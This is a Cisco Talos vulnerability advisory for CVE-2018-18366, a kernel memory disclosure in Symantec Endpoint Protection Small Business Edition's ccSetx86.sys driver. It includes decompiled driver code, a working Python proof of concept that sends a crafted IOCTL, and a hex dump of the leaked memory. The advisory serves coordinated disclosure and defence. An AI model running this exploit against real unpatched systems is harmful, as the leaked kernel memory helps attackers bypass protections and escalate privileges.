Talos Vulnerability Report

TALOS-2018-0693

Symantec Endpoint Protection Small Business Edition ccSetx86.sys 0x224844 kernel memory information disclosure vulnerability

April 23, 2019
CVE Number

CVE-2018-18366

Summary

An exploitable kernel memory disclosure vulnerability exists in the 0x224844 IOCTL handler function of Symantec Endpoint Protection Small Business Edition ccSetx86.sys, version 16.0.0.77. A specially crafted IRP request can cause the driver to return uninitialized memory, resulting in kernel memory disclosure. An attacker can send an IRP request to trigger this vulnerability.

Tested Versions

Symantec.cloud - Endpoint Protection - NIS-22.14.2.13 Symantec Endpoint Protection Small Business Edition ccSetx86.sys - Windows 7 x86

Product URLs

https://www.symantec.com/products/endpoint-smb

CVSSv3 Score

4.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-200: Information Exposure

Details

Symantec Endpoint Protection Small Business Edition (SEP SBE) is a complex endpoint protection solution targeted toward small businesses.

This advisory is for a vulnerability in the ccSetx86.sys driver installed with SEP SBE and is active by default.

This vulnerability can be triggered by sending IOCTL requests to the ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3} device. Here, we show the default access controls on the device allow any user on the system to send IOCTL requests:

\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM

We need to use the ZwOpenFile API instead of trying to open exposed symlinks to this device via CreateFile to obtain a valid handle to this device.

The kernel memory leak is located in the IOCTL handler for the 0x224844 control code. The vulnerable function is:

Line 1  signed int __stdcall sub_8DE2FB98(PIRP irp, int (__stdcall ***a2)(char *, _DWORD *, int *))
Line 2  {
Line 3    ULONG_PTR outLen;
Line 4    stackLocation = irp->Tail.Overlay.CurrentStackLocation;
Line 5    if ( !irp->AssociatedIrp.SystemBuffer
Line 6      || stackLocation->Parameters.DeviceIoControl.InputBufferLength < 2
Line 7      || stackLocation->Parameters.DeviceIoControl.OutputBufferLength < 4 )
Line 8    {
Line 9      return 0xC0000023;
Line 10   }
Line 11   if ( stackLocation->Parameters.DeviceIoControl.IoControlCode & 3 )
Line 12   {
Line 13     (...)
Line 14   }
Line 15   else
Line 16   {
Line 17     outUserBuffer = irp->AssociatedIrp.SystemBuffer;
Line 18   }
Line 19   if ( outUserBuffer )
Line 20   {
Line 21     someConstructor(&v14);
Line 22     v13 = copyString2(
Line 23             &v14,
Line 24             (int)irp->AssociatedIrp.SystemBuffer,
Line 25             stackLocation->Parameters.DeviceIoControl.InputBufferLength,
Line 26             (PWCHAR)&dstStringLen);
Line 27     if ( v13 >= 0 )
Line 28     {
Line 29       outLen = stackLocation->Parameters.DeviceIoControl.OutputBufferLength;
Line 30       v5 = (**v11)((char *)&v14, outUserBuffer, (int *)&outLen);// 8de2fb84
Line 31       if ( v5 >= 0 )
Line 32       {
Line 33         irp->IoStatus.Information = outLen;
Line 34       }
Line 35       
Line 36     (...)

Is worth to mention that this vulnerability only manifests itself when METHOD_BUFFERED is used during processing. We see at line 33 that if the function located at line 30 returns a positive value, the IoStatus.Information field, which indicates how many bytes will by returned from kernel mode in OutputBuffer, is set to outLen - OutputBufferLen. The value of that variable at the beginning of line 29 comes directly from the user so the amount of bytes returned to user mode will be fully controlled by the user if the outLen variable is not accurately set.

We will take a look inside sub_8DE34328 function to see how exactly the outLen variable is processed:

Line 1  int __thiscall sub_8DE34328(struct_this_3 *this, char *obj, int outUserBuffer, unsigned int *outLen)
Line 2  {
Line 3  (...)
Line 4 
Line 5      outLen_ = *outLen;
Line 6      v12 = v18 + 2;
Line 7      someUnicodeString = v12;
Line 8      if ( outLen_ >= v12 )
Line 9      {
Line 10       if ( _outUserBuffer )
Line 11         returnCode = unicodeCopy((char *)&v17, _outUserBuffer, outLen_, &someUnicodeString);
Line 12       else
Line 13         returnCode = 0xC000000D;
Line 14     }
Line 15     else
Line 16     {
Line 17       *outLen = v12;
Line 18       returnCode = 0xC0000023;
Line 19     }
Line 20 (...)

We see that only if we do not pass the constraint at line 10, outLen is set to the value equal v12 and the function returns an error. In other cases, the outLen value is not changed at all so a user fully controls its value.

Since the OutputBuffer has not been cleared anywhere and there is no check to see how many bytes have really been set to it during this procedure, random kernel memory will be leaked to user space.

Exploit Proof of Concept

def test_device():
    deviceName = r"\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}"
    ioControl  = 0x224844
    outBuffer  = 0x5566
    str1 = r"\??\c:\TALOS_INSIDE.bin".encode("UTF-16-LE")
    inBuffer =  struct.pack("<I", len(str1)+2)
    inBuffer += str1


    file('irp.bin','wb').write(inBuffer)
    cmdStr = "DeviceOpen.exe {0} 0x{1:X} {2}".format(deviceName,ioControl,outBuffer)
    print cmdStr
    os.system(cmdStr)

//DeviceOpen.exe obtains device handle via ZwOpenFile, read irp.bin file content and pass it as a inputBuffer


Output:

c:\projects\symantec>python test.py
DeviceOpen.exe \Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3} 0x224844 21862
Handle seems to be legit : 0x28
SUCCESS!
0000 : ..\.?.?.\.C.:.\. DE 00 5C 00 3F 00 3F 00 5C 00 43 00 3A 00 5C 00
0010 : P.r.o.g.r.a.m.D. 50 00 72 00 6F 00 67 00 72 00 61 00 6D 00 44 00
0020 : a.t.a.\.S.y.m.a. 61 00 74 00 61 00 5C 00 53 00 79 00 6D 00 61 00
0030 : n.t.e.c...c.l.o. 6E 00 74 00 65 00 63 00 2E 00 63 00 6C 00 6F 00
0040 : u.d.\.{.F.7.A.7. 75 00 64 00 5C 00 7B 00 46 00 37 00 41 00 37 00
0050 : 2.5.B.7.-.8.2.6. 32 00 35 00 42 00 37 00 2D 00 38 00 32 00 36 00
0060 : 7.-.4.9.4.C.-.9. 37 00 2D 00 34 00 39 00 34 00 43 00 2D 00 39 00
0070 : 6.4.7.-.F.4.F.C. 36 00 34 00 37 00 2D 00 46 00 34 00 46 00 43 00
0080 : 1.D.5.3.C.6.A.3. 31 00 44 00 35 00 33 00 43 00 36 00 41 00 33 00
0090 : }.\.C.o.m.m.o.n. 7D 00 5C 00 43 00 6F 00 6D 00 6D 00 6F 00 6E 00
00A0 :  .C.l.i.e.n.t.\. 20 00 43 00 6C 00 69 00 65 00 6E 00 74 00 5C 00
00B0 : c.c.S.e.t.M.g.r. 63 00 63 00 53 00 65 00 74 00 4D 00 67 00 72 00
00C0 : \.s.y.m.S.e.t.t. 5C 00 73 00 79 00 6D 00 53 00 65 00 74 00 74 00
00D0 : i.n.g.s...d.a.t. 69 00 6E 00 67 00 73 00 2E 00 64 00 61 00 74 00
00E0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0100 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0110 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0120 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0130 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0140 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0150 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
(...)
3300 : e...........f... 65 01 00 00 82 01 00 00 03 01 C0 F8 66 01 00 00
3310 : ........g....... 92 01 00 00 03 01 C0 F8 67 01 00 00 9A 01 00 00
3320 : ....h........... 03 01 C0 F8 68 01 00 00 A2 01 00 00 03 01 C0 F8
3330 : i...........j... 69 01 00 00 AA 01 00 00 03 01 C0 F8 6A 01 00 00
3340 : ........k....... B2 01 00 00 03 01 C0 F8 6B 01 00 00 BA 01 00 00
3350 : ....l........... 03 01 C0 F8 6C 01 00 00 C2 01 00 00 03 01 C0 F8
3360 : m...........n... 6D 01 00 00 D2 01 00 00 03 01 C0 F8 6E 01 00 00
3370 : ........o....... DA 01 00 00 03 01 C0 F8 6F 01 00 00 0A 02 00 00
3380 : ....p........... 03 01 C0 F8 70 01 00 00 12 02 00 00 03 01 C0 F8
3390 : q...........r... 71 01 00 00 1A 02 00 00 03 01 C0 F8 72 01 00 00
33A0 : ".......s...*... 22 02 00 00 03 01 C0 F8 73 01 00 00 2A 02 00 00
33B0 : ....t...2....... 03 01 C0 F8 74 01 00 00 32 02 00 00 03 01 C0 F8
33C0 : u...:.......v... 75 01 00 00 3A 02 00 00 03 01 C0 F8 76 01 00 00
33D0 : B.......w...J... 42 02 00 00 03 01 C0 F8 77 01 00 00 4A 02 00 00
33E0 : ....x...R....... 03 01 C0 F8 78 01 00 00 52 02 00 00 03 01 C0 F8
33F0 : y...Z.......z... 79 01 00 00 5A 02 00 00 03 01 C0 F8 7A 01 00 00
3400 : b.......{...j... 62 02 00 00 03 01 C0 F8 7B 01 00 00 6A 02 00 00
3410 : ....|...q....... 03 01 C0 F8 7C 01 00 00 71 02 00 00 03 01 C0 F8
3420 : }...y.......~... 7D 01 00 00 79 02 00 00 03 01 C0 F8 7E 01 00 00
3430 : ........⌂....... A1 02 00 00 03 01 C0 F8 7F 01 00 00 A9 02 00 00
3440 : ................ 03 01 C0 F8 80 01 00 00 B9 02 00 00 03 01 C0 F8
3450 : ................ 81 01 00 00 C1 02 00 00 03 01 C0 F8 82 01 00 00
3460 : ................ C9 02 00 00 03 01 C0 F8 83 01 00 00 CD 02 00 00
3470 : ................ 03 01 C0 F8 84 01 00 00 D0 02 00 00 08 01 80 FF
3480 : ................ 85 01 00 00 D5 02 00 00 03 01 C0 F8 86 01 00 00
3490 : ................ D8 02 00 00 08 01 80 FF 87 01 00 00 E0 02 00 00
34A0 : ................ 08 01 80 FF 88 01 00 00 E8 02 00 00 08 01 80 FF
34B0 : ............\.D. FF FF FF FF F0 02 00 00 08 01 80 FF 5C 00 44 00
34C0 : E.V.I.C.E.\.H.A. 45 00 56 00 49 00 43 00 45 00 5C 00 48 00 41 00
34D0 : R.D.D.I.S.K.V.O. 52 00 44 00 44 00 49 00 53 00 4B 00 56 00 4F 00
34E0 : L.U.M.E.1.\.W.I. 4C 00 55 00 4D 00 45 00 31 00 5C 00 57 00 49 00
34F0 : N.D.O.W.S.\.S.Y. 4E 00 44 00 4F 00 57 00 53 00 5C 00 53 00 59 00
3500 : S.T.E.M.3.2.\.N. 53 00 54 00 45 00 4D 00 33 00 32 00 5C 00 4E 00
3510 : T.D.L.L...D.L.L. 54 00 44 00 4C 00 4C 00 2E 00 44 00 4C 00 4C 00
3520 : ..\.D.E.V.I.C.E. 00 00 5C 00 44 00 45 00 56 00 49 00 43 00 45 00
3530 : \.H.A.R.D.D.I.S. 5C 00 48 00 41 00 52 00 44 00 44 00 49 00 53 00
3540 : K.V.O.L.U.M.E.1. 4B 00 56 00 4F 00 4C 00 55 00 4D 00 45 00 31 00
3550 : \.W.I.N.D.O.W.S. 5C 00 57 00 49 00 4E 00 44 00 4F 00 57 00 53 00
3560 : \.S.Y.S.T.E.M.3. 5C 00 53 00 59 00 53 00 54 00 45 00 4D 00 33 00
3570 : 2.\.K.E.R.N.E.L. 32 00 5C 00 4B 00 45 00 52 00 4E 00 45 00 4C 00
3580 : 3.2...D.L.L...\. 33 00 32 00 2E 00 44 00 4C 00 4C 00 00 00 5C 00
3590 : D.E.V.I.C.E.\.H. 44 00 45 00 56 00 49 00 43 00 45 00 5C 00 48 00
35A0 : A.R.D.D.I.S.K.V. 41 00 52 00 44 00 44 00 49 00 53 00 4B 00 56 00
35B0 : O.L.U.M.E.1.\.W. 4F 00 4C 00 55 00 4D 00 45 00 31 00 5C 00 57 00
35C0 : I.N.D.O.W.S.\.S. 49 00 4E 00 44 00 4F 00 57 00 53 00 5C 00 53 00
35D0 : Y.S.T.E.M.3.2.\. 59 00 53 00 54 00 45 00 4D 00 33 00 32 00 5C 00 
(...)

Timeline

2018-10-23 - Vendor disclosure
2018-11-02 - Vendor acknowledged vulnerability
2018-12-04 - 30 day follow up
2019-02-11 - Vendor assigned CVE
2019-04-23 - Public release

Credit

Marcin 'Icewall' Noga of Cisco Talos.